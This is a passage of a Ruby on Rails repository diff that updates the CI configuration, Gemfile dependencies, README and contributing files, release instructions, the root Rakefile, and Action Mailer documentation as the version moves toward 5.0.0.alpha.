+ - env: "GEM=ar:mysql"
+ - rvm: rbx-2
+ - rvm: jruby
+ - env: "GEM=aj"
+ - env: "GEM=aj:integration"
+ fast_finish: true
notifications:
email: false
irc:
@@ -23,7 +41,11 @@ notifications:
on_failure: always
rooms:
- secure: "YA1alef1ESHWGFNVwvmVGCkMe4cUy4j+UcNvMUESraceiAfVyRMAovlQBGs6\n9kBRm7DHYBUXYC2ABQoJbQRLDr/1B5JPf/M8+Qd7BKu8tcDC03U01SMHFLpO\naOs/HLXcDxtnnpL07tGVsm0zhMc5N8tq4/L3SHxK7Vi+TacwQzI="
-bundler_args: --path vendor/bundle
-matrix:
- allow_failures:
- - rvm: 2.0.0
+bundler_args: --path vendor/bundle --without test
+services:
+ - memcached
+ - redis
+ - rabbitmq
+addons:
+ postgresql: "9.3"
+
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index adc5eb6914..9ba2e53ef2 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -1,12 +1,17 @@
Ruby on Rails is a volunteer effort. We encourage you to pitch in. [Join the team](http://contributors.rubyonrails.org)!
-Please read the [Contributing to Ruby on Rails](http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html) guide before submitting any code.
+* If you want to submit a bug report please make sure to follow our [reporting guidelines](http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#reporting-an-issue).
+
+* If you want to submit a patch, please read the [Contributing to Ruby on Rails](http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html) guide.
+
+* If you want to contribute to Rails documentation, please read the [Contributing to the Rails Documentation](http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#contributing-to-the-rails-documentation) section of the aforementioned guide.
*We only accept bug reports and pull requests in GitHub*.
-If you have a question about how to use Ruby on Rails, please [ask the rubyonrails-talk mailing list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-talk).
+* If you have a question about how to use Ruby on Rails, please [ask the rubyonrails-talk mailing list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-talk).
+
+* If you have a change or new feature in mind, please [suggest it on the rubyonrails-core mailing list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core) and start writing code.
-If you have a change or new feature in mind, please [suggest it on the rubyonrails-core mailing list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core) and start writing code.
+Thanks! :heart: :heart: :heart:
-Thanks! :heart: :heart: :heart: <br />
Rails Team
diff --git a/Gemfile b/Gemfile
index 35bcb68fb2..a021f77417 100644
--- a/Gemfile
+++ b/Gemfile
@@ -2,84 +2,125 @@ source 'https://rubygems.org'
gemspec
-gem 'arel', github: 'rails/arel', branch: 'master'
+# We need a newish Rake since Active Job sets its test tasks' descriptions.
+gem 'rake', '>= 10.3'
+
+# This needs to be with require false as it is
+# loaded after loading the test library to
+# ensure correct loading order
+gem 'mocha', '~> 0.14', require: false
-gem 'mocha', '~> 0.13.0', require: false
-gem 'rack-test', github: 'brynary/rack-test'
gem 'rack-cache', '~> 1.2'
-gem 'bcrypt-ruby', '~> 3.0.0'
-gem 'jquery-rails', '~> 2.1.4', github: 'rails/jquery-rails'
+gem 'jquery-rails', github: 'rails/jquery-rails'
+gem 'coffee-rails', '~> 4.1.0'
gem 'turbolinks'
-gem 'coffee-rails', github: 'rails/coffee-rails'
-
-gem 'journey', github: 'rails/journey', branch: 'master'
+gem 'arel', github: 'rails/arel'
-gem 'activerecord-deprecated_finders', github: 'rails/activerecord-deprecated_finders', branch: 'master'
+# require: false so bcrypt is loaded only when has_secure_password is used.
+# This is to avoid ActiveModel (and by extension the entire framework)
+# being dependent on a binary library.
+gem 'bcrypt', '~> 3.1.7', require: false
# This needs to be with require false to avoid
# it being automatically loaded by sprockets
-gem 'uglifier', require: false
-
-gem 'sprockets-rails', github: 'rails/sprockets-rails', branch: 'master'
+gem 'uglifier', '>= 1.3.0', require: false
group :doc do
- gem 'sdoc', github: 'voloko/sdoc'
- gem 'redcarpet', '~> 2.2.2', platforms: :ruby
+ gem 'sdoc', '~> 0.4.0'
+ gem 'redcarpet', '~> 3.1.2', platforms: :ruby
gem 'w3c_validators'
+ gem 'kindlerb'
end
# AS
gem 'dalli', '>= 2.2.1'
+# ActiveJob
+group :job do
+ gem 'resque', require: false
+ gem 'resque-scheduler', require: false
+ gem 'sidekiq', require: false
+ gem 'sucker_punch', require: false
+ gem 'delayed_job', require: false
+ gem 'queue_classic', "< 3.0.0", require: false, platforms: :ruby
+ gem 'sneakers', '0.1.1.pre', require: false
+ gem 'que', require: false
+ gem 'backburner', require: false
+ gem 'qu-rails', github: "bkeepers/qu", branch: "master", require: false
+ gem 'qu-redis', require: false
+ # gem 'delayed_job_active_record', require: false
+ gem 'sequel', require: false
+end
+
# Add your own local bundler stuff
local_gemfile = File.dirname(__FILE__) + "/.Gemfile"
-instance_eval File.read local_gemfile if File.exists? local_gemfile
+instance_eval File.read local_gemfile if File.exist? local_gemfile
-platforms :mri do
- group :test do
- gem 'ruby-prof', '~> 0.11.2' if RUBY_VERSION < '2.0'
- gem 'debugger' if !ENV['TRAVIS'] && RUBY_VERSION < '2.0'
+group :test do
+ # FIX: Our test suite isn't ready to run in random order yet
+ gem 'minitest', '< 5.3.4'
+
+ platforms :mri_19 do
+ gem 'ruby-prof', '~> 0.11.2'
+ end
+
+ platforms :mri_21 do
+ gem 'stackprof'
end
+
+ # platforms :mri_19, :mri_20 do
+ # gem 'debugger'
+ # end
+
+ gem 'benchmark-ips'
end
platforms :ruby do
- gem 'yajl-ruby'
gem 'nokogiri', '>= 1.4.5'
+ # Needed for compiling the ActionDispatch::Journey parser
+ gem 'racc', '>=1.4.6', require: false
+
# AR
gem 'sqlite3', '~> 1.3.6'
group :db do
- gem 'pg', '>= 0.11.0'
+ gem 'pg', '>= 0.15.0'
gem 'mysql', '>= 2.9.0'
- gem 'mysql2', '>= 0.3.10'
+ gem 'mysql2', '>= 0.3.13'
end
end
platforms :jruby do
gem 'json'
- gem 'activerecord-jdbcsqlite3-adapter', '>= 1.2.0'
-
- # This is needed by now to let tests work on JRuby
- # TODO: When the JRuby guys merge jruby-openssl in
- # jruby this will be removed
- gem 'jruby-openssl'
-
- group :db do
- gem 'activerecord-jdbcmysql-adapter', '>= 1.2.0'
- gem 'activerecord-jdbcpostgresql-adapter', '>= 1.2.0'
+ if ENV['AR_JDBC']
+ gem 'activerecord-jdbcsqlite3-adapter', github: 'jruby/activerecord-jdbc-adapter', branch: 'master'
+ group :db do
+ gem 'activerecord-jdbcmysql-adapter', github: 'jruby/activerecord-jdbc-adapter', branch: 'master'
+ gem 'activerecord-jdbcpostgresql-adapter', github: 'jruby/activerecord-jdbc-adapter', branch: 'master'
+ end
+ else
+ gem 'activerecord-jdbcsqlite3-adapter', '>= 1.3.0'
+ group :db do
+ gem 'activerecord-jdbcmysql-adapter', '>= 1.3.0'
+ gem 'activerecord-jdbcpostgresql-adapter', '>= 1.3.0'
+ end
end
end
+platforms :rbx do
+ # The rubysl-yaml gem doesn't ship with Psych by default
+ # as it needs libyaml that isn't always available.
+ gem 'psych', '~> 2.0'
+end
+
# gems that are necessary for ActiveRecord tests with Oracle database
if ENV['ORACLE_ENHANCED']
platforms :ruby do
- gem 'ruby-oci8', '>= 2.0.4'
+ gem 'ruby-oci8', '~> 2.1'
end
gem 'activerecord-oracle_enhanced-adapter', github: 'rsim/oracle-enhanced', branch: 'master'
end
# A gem necessary for ActiveRecord tests with IBM DB
gem 'ibm_db' if ENV['IBM_DB']
-
-gem 'benchmark-ips'
diff --git a/RAILS_VERSION b/RAILS_VERSION
index e1e048d8f0..2b915d7d5c 100644
--- a/RAILS_VERSION
+++ b/RAILS_VERSION
@@ -1 +1 @@
-4.0.0.beta
+5.0.0.alpha
diff --git a/README.md b/README.md
new file mode 100644
index 0000000000..7e1bcd02ea
--- /dev/null
+++ b/README.md
@@ -0,0 +1,85 @@
+## Welcome to Rails
+
+Rails is a web-application framework that includes everything needed to
+create database-backed web applications according to the
+[Model-View-Controller (MVC)](http://en.wikipedia.org/wiki/Model-view-controller)
+pattern.
+
+Understanding the MVC pattern is key to understanding Rails. MVC divides your
+application into three layers, each with a specific responsibility.
+
+The _Model layer_ represents your domain model (such as Account, Product,
+Person, Post, etc.) and encapsulates the business logic that is specific to
+your application. In Rails, database-backed model classes are derived from
+`ActiveRecord::Base`. Active Record allows you to present the data from
+database rows as objects and embellish these data objects with business logic
+methods. You can read more about Active Record in its [README](activerecord/README.rdoc).
+Although most Rails models are backed by a database, models can also be ordinary
+Ruby classes, or Ruby classes that implement a set of interfaces as provided by
+the Active Model module. You can read more about Active Model in its [README](activemodel/README.rdoc).
+
+The _Controller layer_ is responsible for handling incoming HTTP requests and
+providing a suitable response. Usually this means returning HTML, but Rails controllers
+can also generate XML, JSON, PDFs, mobile-specific views, and more. Controllers load and
+manipulate models, and render view templates in order to generate the appropriate HTTP response.
+In Rails, incoming requests are routed by Action Dispatch to an appropriate controller, and
+controller classes are derived from `ActionController::Base`. Action Dispatch and Action Controller
+are bundled together in Action Pack. You can read more about Action Pack in its
+[README](actionpack/README.rdoc).
+
+The _View layer_ is composed of "templates" that are responsible for providing
+appropriate representations of your application's resources. Templates can
+come in a variety of formats, but most view templates are HTML with embedded
+Ruby code (ERB files). Views are typically rendered to generate a controller response,
+or to generate the body of an email. In Rails, View generation is handled by Action View.
+You can read more about Action View in its [README](actionview/README.rdoc).
+
+Active Record, Action Pack, and Action View can each be used independently outside Rails.
+In addition to them, Rails also comes with Action Mailer ([README](actionmailer/README.rdoc)), a library
+to generate and send emails; Active Job ([README](activejob/README.md)), a
+framework for declaring jobs and making them run on a variety of queueing
+backends; and Active Support ([README](activesupport/README.rdoc)), a collection
+of utility classes and standard library extensions that are useful for Rails,
+and may also be used independently outside Rails.
+
+## Getting Started
+
+1. Install Rails at the command prompt if you haven't yet:
+
+ gem install rails
+
+2. At the command prompt, create a new Rails application:
+
+ rails new myapp
+
+ where "myapp" is the application name.
+
+3. Change directory to `myapp` and start the web server:
+
+ cd myapp
+ rails server
+
+ Run with `--help` or `-h` for options.
+
+4. Using a browser, go to `http://localhost:3000` and you'll see:
+"Welcome aboard: You're riding Ruby on Rails!"
+
+5. Follow the guidelines to start developing your application. You may find
+ the following resources handy:
+ * [Getting Started with Rails](http://guides.rubyonrails.org/getting_started.html)
+ * [Ruby on Rails Guides](http://guides.rubyonrails.org)
+ * [The API Documentation](http://api.rubyonrails.org)
+ * [Ruby on Rails Tutorial](http://www.railstutorial.org/book)
+
+## Contributing
+
+We encourage you to contribute to Ruby on Rails! Please check out the
+[Contributing to Ruby on Rails guide](http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html) for guidelines about how to proceed. [Join us!](http://contributors.rubyonrails.org)
+
+## Code Status
+
+* [![Build Status](https://travis-ci.org/rails/rails.svg?branch=master)](https://travis-ci.org/rails/rails)
+
+## License
+
+Ruby on Rails is released under the [MIT License](http://www.opensource.org/licenses/MIT).
diff --git a/README.rdoc b/README.rdoc
deleted file mode 100644
index 87ec64e3b5..0000000000
--- a/README.rdoc
+++ /dev/null
@@ -1,77 +0,0 @@
-== Welcome to Rails
-
-Rails is a web-application framework that includes everything needed to create
-database-backed web applications according to the {Model-View-Controller (MVC)}[http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller] pattern.
-
-Understanding the MVC pattern is key to understanding Rails. MVC divides your application
-into three layers, each with a specific responsibility.
-
-The View layer is composed of "templates" that are responsible for providing
-appropriate representations of your application's resources. Templates
-can come in a variety of formats, but most view templates are \HTML with embedded Ruby
-code (.erb files).
-
-The Model layer represents your domain model (such as Account, Product, Person, Post)
-and encapsulates the business logic that is specific to your application. In Rails,
-database-backed model classes are derived from ActiveRecord::Base. Active Record allows
-you to present the data from database rows as objects and embellish these data objects
-with business logic methods. Although most Rails models are backed by a database, models
-can also be ordinary Ruby classes, or Ruby classes that implement a set of interfaces as
-provided by the ActiveModel module. You can read more about Active Record in its
-{README}[link:/rails/rails/blob/master/activerecord/README.rdoc].
-
-The Controller layer is responsible for handling incoming HTTP requests and providing a
-suitable response. Usually this means returning \HTML, but Rails controllers can also
-generate XML, JSON, PDFs, mobile-specific views, and more. Controllers manipulate models
-and render view templates in order to generate the appropriate HTTP response.
-
-In Rails, the Controller and View layers are handled together by Action Pack.
-These two layers are bundled in a single package due to their heavy interdependence.
-This is unlike the relationship between Active Record and Action Pack which are
-independent. Each of these packages can be used independently outside of Rails. You
-can read more about Action Pack in its {README}[link:/rails/rails/blob/master/actionpack/README.rdoc].
-
-== Getting Started
-
-1. Install Rails at the command prompt if you haven't yet:
-
- gem install rails
-
-2. At the command prompt, create a new Rails application:
-
- rails new myapp
-
- where "myapp" is the application name.
-
-3. Change directory to +myapp+ and start the web server:
-
- cd myapp; rails server
-
- Run with <tt>--help</tt> or <tt>-h</tt> for options.
-
-4. Go to http://localhost:3000 and you'll see:
-
- "Welcome aboard: You're riding Ruby on Rails!"
-
-5. Follow the guidelines to start developing your application. You may find the following resources handy:
-
-* The README file created within your application.
-* The {Getting Started with Rails}[http://guides.rubyonrails.org/getting_started.html].
-* The {Ruby on Rails Tutorial}[http://railstutorial.org/book].
-* The {Ruby on Rails Guides}[http://guides.rubyonrails.org].
-* The {API Documentation}[http://api.rubyonrails.org].
-
-== Contributing
-
-We encourage you to contribute to Ruby on Rails! Please check out the {Contributing to Rails
-guide}[http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html] for guidelines about how
-to proceed. {Join us}[http://contributors.rubyonrails.org]!
-
-== Code Status
-
-* {<img src="https://secure.travis-ci.org/rails/rails.png"/>}[http://travis-ci.org/rails/rails]
-* {<img src="https://gemnasium.com/rails/rails.png?travis"/>}[https://gemnasium.com/rails/rails]
-
-== License
-
-Ruby on Rails is released under the {MIT License}[http://www.opensource.org/licenses/MIT].
diff --git a/RELEASING_RAILS.rdoc b/RELEASING_RAILS.rdoc
index 9af79f73e2..c80a5816a7 100644
--- a/RELEASING_RAILS.rdoc
+++ b/RELEASING_RAILS.rdoc
@@ -13,7 +13,7 @@ Today is mostly coordination tasks. Here are the things you must do today:
Do not release with a Red CI. You can find the CI status here:
- http://travis-ci.org/#!/rails/rails
+ http://travis-ci.org/rails/rails
=== Is Sam Ruby happy? If not, make him happy.
@@ -25,6 +25,18 @@ for Rails. You can check the status of his tests here:
Do not release with Red AWDwR tests.
+=== Are the supported plugins working? If not, make it work.
+
+Some Rails plugins are important and need to be supported until Rails 5.
+As these plugins are outside the Rails repository it is easy to break them without knowing
+after some refactoring or bug fix, so it is important to check if the following plugins
+are working with the versions that will be released:
+
+* https://github.com/rails/protected_attributes
+* https://github.com/rails/activerecord-deprecated_finders
+
+Do not release red plugins tests.
+
=== Do we have any Git dependencies? If so, contact those authors.
Having Git dependencies indicates that we depend on unreleased code.
@@ -42,6 +54,9 @@ addressed, and that can impact your release date.
Ruby implementors have high stakes in making sure Rails works. Be kind and
give them a heads up that Rails will be released soonish.
+This only need to be done for major and minor releases, bugfix releases aren't a
+big enough deal, and are supposed to be backwards compatible.
+
Send an email just giving a heads up about the upcoming release to these
lists:
@@ -107,10 +122,10 @@ what to do in case anything goes wrong:
$ rake all:build
$ git commit -am'updating RAILS_VERSION'
- $ git tag -m'tagging rc release' v3.0.10.rc1
+ $ git tag -m 'v3.0.10.rc1 release' v3.0.10.rc1
$ git push
$ git push --tags
- $ for i in $(ls dist); do gem push $i; done
+ $ for i in $(ls pkg); do gem push $i; done
=== Send Rails release announcements
@@ -155,7 +170,7 @@ commits should be added to the release branch besides regression fixing commits.
== Day of release
Many of these steps are the same as for the release candidate, so if you need
-more explanation on a particular step, so the RC steps.
+more explanation on a particular step, see the RC steps.
Today, do this stuff in this order:
@@ -200,34 +215,3 @@ There are two simple steps for fixing the CI:
2. Fix it
Repeat these steps until the CI is green.
-
-=== Manually trigger docs generation
-
-We have a post-receive hook in GitHub that calls the docs server on pushes.
-It triggers generation and publication of edge docs, updates the contrib app,
-and generates and publishes stable docs if a new stable tag is detected.
-
-The hook unfortunately is not invoked by tag pushing, so once the new stable
-tag has been pushed to origin, please run
-
- rake publish_docs
-
-You should see something like this:
-
- Rails master hook tasks scheduled:
-
- * updates the local checkout
- * updates Rails Contributors
- * generates and publishes edge docs
-
- If a new stable tag is detected it also
-
- * generates and publishes stable docs
-
- This needs typically a few minutes.
-
-Note you do not need to specify the tag, the docs server figures it out.
-
-Also, don't worry if you call that multiple times or the hook is triggered
-again by some immediate regular push, if the scripts are running new calls
-are just queued (in a queue of size 1).
diff --git a/Rakefile b/Rakefile
index 1caa69cf92..db27105cc3 100644
--- a/Rakefile
+++ b/Rakefile
@@ -1,17 +1,17 @@
-require 'rdoc/task'
require 'sdoc'
require 'net/http'
$:.unshift File.expand_path('..', __FILE__)
require "tasks/release"
+require 'railties/lib/rails/api/task'
desc "Build gem files for all projects"
task :build => "all:build"
-desc "Release all gems to gemcutter and create a tag"
+desc "Release all gems to rubygems and create a tag"
task :release => "all:release"
-PROJECTS = %w(activesupport activemodel actionpack actionmailer activerecord railties)
+PROJECTS = %w(activesupport activemodel actionpack actionview actionmailer activerecord railties activejob)
desc 'Run all tests by default'
task :default => %w(test test:isolated)
@@ -36,136 +36,19 @@ task :smoke do
end
desc "Install gems for all projects."
-task :install => :gem do
- version = File.read("RAILS_VERSION").strip
- (PROJECTS - ["railties"]).each do |project|
- puts "INSTALLING #{project}"
- system("gem install #{project}/pkg/#{project}-#{version}.gem --no-ri --no-rdoc")
- end
- system("gem install railties/pkg/railties-#{version}.gem --no-ri --no-rdoc")
- system("gem install pkg/rails-#{version}.gem --no-ri --no-rdoc")
-end
+task :install => "all:install"
desc "Generate documentation for the Rails framework"
-RDoc::Task.new do |rdoc|
- RDOC_MAIN = 'RDOC_MAIN.rdoc'
-
- # This is a hack.
- #
- # Backslashes are needed to prevent RDoc from autolinking "Rails" to the
- # documentation of the Rails module. On the other hand, as of this
- # writing README.rdoc is displayed in the front page of the project in
- # GitHub, where backslashes are shown and look weird.
- #
- # The temporary solution is to have a README.rdoc without backslashes for
- # GitHub, and gsub it to generate the main page of the API.
- #
- # Also, relative links in GitHub have to point to blobs, whereas in the API
- # they need to point to files.
- #
- # The idea for the future is to have totally different files, since the
- # API is no longer a generic entry point to Rails and deserves a
- # dedicated main page specifically thought as an API entry point.
- rdoc.before_running_rdoc do
- rdoc_main = File.read('README.rdoc')
-
- # The ^(?=\S) assertion prevents code blocks from being processed,
- # since no autolinking happens there and RDoc displays the backslash
- # otherwise.
- rdoc_main.gsub!(/^(?=\S).*?\b(?=Rails)\b/) { "#$&\\" }
- rdoc_main.gsub!(%r{link:/rails/rails/blob/master/(\w+)/README\.rdoc}, "link:files/\\1/README_rdoc.html")
-
- # Remove Travis and Gemnasium status images from API pages. Only the GitHub
- # README page gets these images. Travis's HTTPS build image is used to
- # avoid GitHub caching: http://about.travis-ci.org/docs/user/status-images
- rdoc_main.gsub!(/^== Code Status(\n(?!==).*)*/, '')
-
- File.open(RDOC_MAIN, 'w') do |f|
- f.write(rdoc_main)
- end
-
- rdoc.rdoc_files.include(RDOC_MAIN)
- end
-
- rdoc.rdoc_dir = 'doc/rdoc'
- rdoc.title = "Ruby on Rails Documentation"
-
- rdoc.options << '-f' << 'sdoc'
- rdoc.options << '-T' << 'rails'
- rdoc.options << '-e' << 'UTF-8'
- rdoc.options << '-g' # SDoc flag, link methods to GitHub
- rdoc.options << '-m' << RDOC_MAIN
-
- rdoc.rdoc_files.include('railties/CHANGELOG.md')
- rdoc.rdoc_files.include('railties/MIT-LICENSE')
- rdoc.rdoc_files.include('railties/README.rdoc')
- rdoc.rdoc_files.include('railties/lib/**/*.rb')
- rdoc.rdoc_files.exclude('railties/lib/rails/generators/**/templates/**/*.rb')
-
- rdoc.rdoc_files.include('activerecord/README.rdoc')
- rdoc.rdoc_files.include('activerecord/CHANGELOG.md')
- rdoc.rdoc_files.include('activerecord/lib/active_record/**/*.rb')
- rdoc.rdoc_files.exclude('activerecord/lib/active_record/vendor/*')
-
- rdoc.rdoc_files.include('actionpack/README.rdoc')
- rdoc.rdoc_files.include('actionpack/CHANGELOG.md')
- rdoc.rdoc_files.include('actionpack/lib/abstract_controller/**/*.rb')
- rdoc.rdoc_files.include('actionpack/lib/action_controller/**/*.rb')
- rdoc.rdoc_files.include('actionpack/lib/action_dispatch/**/*.rb')
- rdoc.rdoc_files.include('actionpack/lib/action_view/**/*.rb')
- rdoc.rdoc_files.exclude('actionpack/lib/action_controller/vendor/*')
-
- rdoc.rdoc_files.include('actionmailer/README.rdoc')
- rdoc.rdoc_files.include('actionmailer/CHANGELOG.md')
- rdoc.rdoc_files.include('actionmailer/lib/action_mailer/**/*.rb')
- rdoc.rdoc_files.exclude('actionmailer/lib/action_mailer/vendor/*')
-
- rdoc.rdoc_files.include('activesupport/README.rdoc')
- rdoc.rdoc_files.include('activesupport/CHANGELOG.md')
- rdoc.rdoc_files.include('activesupport/lib/active_support/**/*.rb')
- rdoc.rdoc_files.exclude('activesupport/lib/active_support/vendor/*')
-
- rdoc.rdoc_files.include('activemodel/README.rdoc')
- rdoc.rdoc_files.include('activemodel/CHANGELOG.md')
- rdoc.rdoc_files.include('activemodel/lib/active_model/**/*.rb')
-end
-
-# Enhance rdoc task to copy referenced images also
-task :rdoc do
- FileUtils.mkdir_p "doc/rdoc/files/examples/"
- FileUtils.copy "activerecord/examples/associations.png", "doc/rdoc/files/examples/associations.png"
+if ENV['EDGE']
+ Rails::API::EdgeTask.new('rdoc')
+else
+ Rails::API::StableTask.new('rdoc')
end
-desc 'Bump all versions to match version.rb'
-task :update_versions do
- require File.dirname(__FILE__) + "/version"
-
- File.open("RAILS_VERSION", "w") do |f|
- f.write Rails::VERSION::STRING + "\n"
- end
-
- constants = {
- "activesupport" => "ActiveSupport",
- "activemodel" => "ActiveModel",
- "actionpack" => "ActionPack",
- "actionmailer" => "ActionMailer",
- "activerecord" => "ActiveRecord",
- "railties" => "Rails"
- }
-
- version_file = File.read("version.rb")
+desc 'Bump all versions to match RAILS_VERSION'
+task :update_versions => "all:update_versions"
- PROJECTS.each do |project|
- Dir["#{project}/lib/*/version.rb"].each do |file|
- File.open(file, "w") do |f|
- f.write version_file.gsub(/Rails/, constants[project])
- end
- end
- end
-end
-
-#
-# We have a webhook configured in Github that gets invoked after pushes.
+# We have a webhook configured in GitHub that gets invoked after pushes.
# This hook triggers the following tasks:
#
# * updates the local checkout
@@ -174,11 +57,6 @@ end
# * if there's a new stable tag, generates and publishes stable docs
#
# Everything is automated and you do NOT need to run this task normally.
-#
-# We publish a new version by tagging, and pushing a tag does not trigger
-# that webhook. Stable docs would be updated by any subsequent regular
-# push, but if you want that to happen right away just run this.
-#
desc 'Publishes docs, run this AFTER a new stable tag has been pushed'
task :publish_docs do
Net::HTTP.new('api.rubyonrails.org', 8080).start do |http|
diff --git a/actionmailer/CHANGELOG.md b/actionmailer/CHANGELOG.md
index 6fc25b3bb4..88b0962e8c 100644
--- a/actionmailer/CHANGELOG.md
+++ b/actionmailer/CHANGELOG.md
@@ -1,37 +1 @@
-## Rails 4.0.0 (unreleased) ##
-
-* Explicit multipart messages no longer set the order of the MIME parts.
- *Nate Berkopec*
-
-* Do not render views when mail() isn't called.
- Fix #7761
-
- *Yves Senn*
-
-* Allow delivery method options to be set per mail instance *Aditya Sanghi*
-
- If your smtp delivery settings are dynamic,
- you can now override settings per mail instance for e.g.
-
- def my_mailer(user,company)
- mail to: user.email, subject: "Welcome!",
- delivery_method_options: {user_name: company.smtp_user,
- password: company.smtp_password}
- end
-
- This will ensure that your default SMTP settings will be overridden
- by the company specific ones. You only have to override the settings
- that are dynamic and leave the static setting in your environment
- configuration file (e.g. config/environments/production.rb)
-
-* Allow to set default Action Mailer options via `config.action_mailer.default_options=` *Robert Pankowecki*
-
-* Raise an `ActionView::MissingTemplate` exception when no implicit template could be found. *Damien Mathieu*
-
-* Asynchronously send messages via the Rails Queue *Brian Cardarella*
-
-* Allow callbacks to be defined in mailers similar to `ActionController::Base`. You can configure default
- settings, headers, attachments, delivery settings or change delivery using
- `before_filter`, `after_filter` etc. *Justin S. Leitgeb*
-
-Please check [3-2-stable](https://github.com/rails/rails/blob/3-2-stable/actionmailer/CHANGELOG.md) for previous changes.
+Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/actionmailer/CHANGELOG.md) for previous changes.
diff --git a/actionmailer/MIT-LICENSE b/actionmailer/MIT-LICENSE
index 810daf856c..d58dd9ed9b 100644
--- a/actionmailer/MIT-LICENSE
+++ b/actionmailer/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2012 David Heinemeier Hansson
+Copyright (c) 2004-2014 David Heinemeier Hansson
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
diff --git a/actionmailer/README.rdoc b/actionmailer/README.rdoc
index 59c33b7940..a4e660d621 100644
--- a/actionmailer/README.rdoc
+++ b/actionmailer/README.rdoc
@@ -1,6 +1,6 @@
= Action Mailer -- Easy email delivery and testing
-Action Mailer is a framework for designing email-service layers. These layers
+Action Mailer is a framework for designing email service layers. These layers
are used to consolidate code for sending out forgotten passwords, welcome
wishes on signup, invoices for billing, and any other use case that requires
a written notification to either a person or another system.
@@ -61,24 +61,30 @@ generated would look like this:
Thank you for signing up!
-In previous version of Rails you would call <tt>create_method_name</tt> and
-<tt>deliver_method_name</tt>. Rails 3.0 has a much simpler interface - you
-simply call the method and optionally call +deliver+ on the return value.
+In order to send mails, you simply call the method and then call +deliver_now+ on the return value.
Calling the method returns a Mail Message object:
- message = Notifier.welcome # => Returns a Mail::Message object
- message.deliver # => delivers the email
+ message = Notifier.welcome("david@loudthinking.com") # => Returns a Mail::Message object
+ message.deliver_now # => delivers the email
Or you can just chain the methods together like:
- Notifier.welcome.deliver # Creates the email and sends it immediately
+ Notifier.welcome("david@loudthinking.com").deliver_now # Creates the email and sends it immediately
== Setting defaults
-It is possible to set default values that will be used in every method in your Action Mailer class. To implement this functionality, you just call the public class method <tt>default</tt> which you get for free from ActionMailer::Base. This method accepts a Hash as the parameter. You can use any of the headers e-mail messages has, like <tt>:from</tt> as the key. You can also pass in a string as the key, like "Content-Type", but Action Mailer does this out of the box for you, so you won't need to worry about that. Finally, it is also possible to pass in a Proc that will get evaluated when it is needed.
+It is possible to set default values that will be used in every method in your
+Action Mailer class. To implement this functionality, you just call the public
+class method +default+ which you get for free from <tt>ActionMailer::Base</tt>.
+This method accepts a Hash as the parameter. You can use any of the headers,
+email messages have, like +:from+ as the key. You can also pass in a string as
+the key, like "Content-Type", but Action Mailer does this out of the box for you,
+so you won't need to worry about that. Finally, it is also possible to pass in a
+Proc that will get evaluated when it is needed.
-Note that every value you set with this method will get over written if you use the same key in your mailer method.
+Note that every value you set with this method will get overwritten if you use the
+same key in your mailer method.
Example:
@@ -89,22 +95,23 @@ Example:
== Receiving emails
-To receive emails, you need to implement a public instance method called <tt>receive</tt> that takes an
-email object as its single parameter. The Action Mailer framework has a corresponding class method,
-which is also called <tt>receive</tt>, that accepts a raw, unprocessed email as a string, which it then turns
-into the email object and calls the receive instance method.
+To receive emails, you need to implement a public instance method called
++receive+ that takes an email object as its single parameter. The Action Mailer
+framework has a corresponding class method, which is also called +receive+, that
+accepts a raw, unprocessed email as a string, which it then turns into the email
+object and calls the receive instance method.
Example:
class Mailman < ActionMailer::Base
def receive(email)
- page = Page.find_by_address(email.to.first)
+ page = Page.find_by(address: email.to.first)
page.emails.create(
subject: email.subject, body: email.body
)
if email.has_attachments?
- email.attachments.each do |attachment|
+ email.attachments.each do |attachment|
page.attachments.create({
file: attachment, description: email.subject
})
@@ -113,14 +120,14 @@ Example:
end
end
-This Mailman can be the target for Postfix or other MTAs. In Rails, you would use the runner in the
-trivial case like this:
+This Mailman can be the target for Postfix or other MTAs. In Rails, you would use
+the runner in the trivial case like this:
rails runner 'Mailman.receive(STDIN.read)'
-However, invoking Rails in the runner for each mail to be received is very resource intensive. A single
-instance of Rails should be run within a daemon, if it is going to be utilized to process more than just
-a limited number of email.
+However, invoking Rails in the runner for each mail to be received is very
+resource intensive. A single instance of Rails should be run within a daemon, if
+it is going to process more than just a limited amount of email.
== Configuration
@@ -159,7 +166,11 @@ API documentation is at
* http://api.rubyonrails.org
-Bug reports and feature requests can be filed with the rest for the Ruby on Rails project here:
+Bug reports can be filed for the Ruby on Rails project here:
* https://github.com/rails/rails/issues
+Feature requests should be discussed on the rails-core mailing list here:
+
+* https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core
+
diff --git a/actionmailer/Rakefile b/actionmailer/Rakefile
index 45c238d302..8f4de8fafa 100644
--- a/actionmailer/Rakefile
+++ b/actionmailer/Rakefile
@@ -1,5 +1,4 @@
require 'rake/testtask'
-require 'rake/packagetask'
require 'rubygems/package_task'
desc "Default Task"
@@ -11,13 +10,13 @@ Rake::TestTask.new { |t|
t.pattern = 'test/**/*_test.rb'
t.warning = true
t.verbose = true
+ t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
}
namespace :test do
task :isolated do
- ruby = File.join(*RbConfig::CONFIG.values_at('bindir', 'RUBY_INSTALL_NAME'))
Dir.glob("test/**/*_test.rb").all? do |file|
- sh(ruby, '-Ilib:test', file)
+ sh(Gem.ruby, '-w', '-Ilib:test', file)
end or raise "Failures"
end
end
@@ -28,7 +27,7 @@ Gem::PackageTask.new(spec) do |p|
p.gem_spec = spec
end
-desc "Release to gemcutter"
+desc "Release to rubygems"
task release: :package do
require 'rake/gemcutter'
Rake::Gemcutter::Tasks.new(spec).define
diff --git a/actionmailer/actionmailer.gemspec b/actionmailer/actionmailer.gemspec
